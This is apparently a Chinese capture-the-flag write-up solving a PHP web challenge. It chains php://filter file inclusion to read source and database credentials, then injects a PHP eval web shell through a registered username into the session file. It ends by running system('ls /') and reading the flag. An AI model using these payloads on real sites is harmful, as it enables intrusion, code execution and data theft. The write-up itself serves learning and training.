Task
http://54.222.188.152:22589/
Solution
php伪协议读取源码
点击login,发现链接变为:
http://54.222.188.152:22589/index.php?action=login.php
推测文件包含。
login.php访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
得到base64密文:
PD9waHAKCXJlcXVpcmVfb25jZSgnY29uZmlnLnBocCcpOwoJc2Vzc2lvbl9zdGFydCgpOwoJaWYoJF9TRVNTSU9OWyd1c2VybmFtZSddKSB7CgkJaGVhZGVyKCdMb2NhdGlvbjogaW5kZXgucGhwJyk7CgkJZXhpdDsKCX0KCWlmKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ3Bhc3N3b3JkJ10pIHsKCQkkdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CgkJJHBhc3N3b3JkID0gbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSk7CgogICAgICAgICRteXNxbGkgPSBAbmV3IG15c3FsaSgkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lKTsKCiAgICAgICAgaWYgKCRteXNxbGktPmNvbm5lY3RfZXJybm8pIHsKICAgICAgICAgICAgZGllKCJjb3VsZCBub3QgY29ubmVjdCB0byB0aGUgZGF0YWJhc2U6XG4iIC4gJG15c3FsaS0+Y29ubmVjdF9lcnJvcik7CiAgICAgICAgfQogICAgICAgICRzcWwgPSAic2VsZWN0IHBhc3N3b3JkIGZyb20gdXNlciB3aGVyZSB1c2VybmFtZT0/IjsKICAgICAgICAkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoJHNxbCk7CiAgICAgICAgJHN0bXQtPmJpbmRfcGFyYW0oInMiLCAkdXNlcm5hbWUpOwogICAgICAgICRzdG10LT5iaW5kX3Jlc3VsdCgkcmVzX3Bhc3N3b3JkKTsKICAgICAgICAkc3RtdC0+ZXhlY3V0ZSgpOwoKICAgICAgICAkc3RtdC0+ZmV0Y2goKTsKICAgICAgICBpZiAoJHJlc19wYXNzd29yZCA9PSAkcGFzc3dvcmQpIHsKICAgICAgICAgICAgJF9TRVNTSU9OWyd1c2VybmFtZSddID0gYmFzZTY0X2VuY29kZSgkdXNlcm5hbWUpOwogICAgICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmluZGV4LnBocCIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiSW52YWxpZCB1c2VyIG5hbWUgb3IgcGFzc3dvcmQiKTsKICAgICAgICB9CiAgICAgICAgJHN0bXQtPmNsb3NlKCk7CiAgICAgICAgJG15c3FsaS0+Y2xvc2UoKTsKCX0KCWVsc2Ugewo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CjxoZWFkPgogICA8dGl0bGU+TG9naW48L3RpdGxlPgogICA8bGluayBocmVmPSJzdGF0aWMvYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgIDxzY3JpcHQgc3JjPSJzdGF0aWMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgIDxzY3JpcHQgc3JjPSJzdGF0aWMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+Cgk8ZGl2IGNsYXNzPSJjb250YWluZXIiIHN0eWxlPSJtYXJnaW4tdG9wOjEwMHB4Ij4gIAoJCTxmb3JtIGFjdGlvbj0ibG9naW4ucGhwIiBtZXRob2Q9InBvc3QiIGNsYXNzPSJ3ZWxsIiBzdHlsZT0id2lkdGg6MjIwcHg7bWFyZ2luOjBweCBhdXRvOyI+CgkJCTxoMz5Mb2dpbjwvaDM+CgkJCTxsYWJlbD5Vc2VybmFtZTo8L2xhYmVsPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlcm5hbWUiIHN0eWxlPSJoZWlnaHQ6MzBweCJjbGFzcz0ic3BhbjMiLz4KCQkJPGxhYmVsPlBhc3N3b3JkOjwvbGFiZWw+CgkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHN0eWxlPSJoZWlnaHQ6MzBweCIgY2xhc3M9InNwYW4zIj4KCgkJCTxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5MT0dJTjwvYnV0dG9uPgoJCTwvZm9ybT4KCTwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKCX0KPz4K
解码得login.php源码:
<?php
require_once('config.php');
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
register.php访问同理得源码:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=register.php
<?php
if ($_POST['username'] && $_POST['password']) {
require_once('config.php');
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!<a href="index.php">Please Login</a>';
}
$stmt->close();
$mysqli->close();} else {?><!DOCTYPE html><html><head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script></head><body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div></body></html><?php
}
?>
config.php访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=config.php
<?php
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>
index.php访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=index.php
<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
include $_GET['action'];
exit();
} else {
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="css/bootstrap.css" rel="stylesheet" media="screen">
<link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div>
<div>
<?php if (isset($_SESSION['username'])) { ?>
<?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
<?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
} ?>
</div>
</div>
</body>
</html>
<?php
}
?>
代码审计
SQL注入?
往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。
看一下register.php,这里仅截取部分代码:
# register.php$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();$stmt->store_result();
再看一下login.php:
# login.php
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。
Session
接着再看看,有哪些参数是可控的。
在login.php中:
# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
这里使用了session来保存用户会话,php手册中是这样描述的:
1.PHP 会将会话中的数据设置到 $_SESSION 变量中。
2.当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
3.对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。关于session包含的相关知识,可以见这篇文章chybeta:PHP文件包含
要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85
访问:
http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
这个/var/lib/php5/的session文件路径是测试出来的,常见的也就如chybeta:PHP文件包含中所述的几种。
base64_encode
能包含,并且控制session文件,但要写入可用的payload,还需要绕过:
$_SESSION['username'] = base64_encode($username);
如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。
考虑一下base64的编码过程。比如编码abc。
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j
考虑一下session的前缀:username|s:12:”,中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。
由于16个字符,恰好满足一下条件:
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0
也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。
Get Flag
注册一个账号,比如:
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
其base64加密后的长度为128,大于100。
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=phpinfo();
成功getshell。
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
小结
考了几个知识点:
-
php文件包含:伪协议利用
-
php文件包含:包含session文件
-
php-session知识及序列化格式
-
base64的基本原理
转自:先知社区
原文链接:https://xianzhi.aliyun.com/forum/topic/1576/